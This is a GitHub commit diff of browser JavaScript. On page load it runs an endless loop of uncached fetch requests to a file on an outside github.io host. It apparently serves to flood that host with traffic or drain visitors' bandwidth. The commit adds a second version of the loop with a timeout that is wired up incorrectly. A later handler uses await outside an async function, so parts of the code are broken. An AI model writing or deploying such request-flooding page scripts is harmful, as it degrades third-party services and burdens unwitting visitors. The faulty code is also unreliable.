This commit is contained in:
Boof 2023-01-18 14:09:09 +01:00 committed by GitHub
parent 6cdfb2da38
commit e33c8b6fe1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -5,12 +5,28 @@ function delay(milliseconds){
});
}
window.onload = async function startdown(){
while(true) {
await delay(10);
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
window.onload = async function startdownV2(){
const controller = new AbortController()
// 5 second timeout:
const timeoutId = setTimeout(() => controller.abort(), 5000)
while(true){
//await delay(10);
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}, { signal: controller.signal }).then(response => {
// completed request before timeout fired
// If you only wanted to timeout the request, not the response, add:
// clearTimeout(timeoutId)
})
}
}
/*window.onload = async function startdown(){
while(true) {
//await delay(10);
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
}
}*/
window.onload = function reload(){
await delay(60000);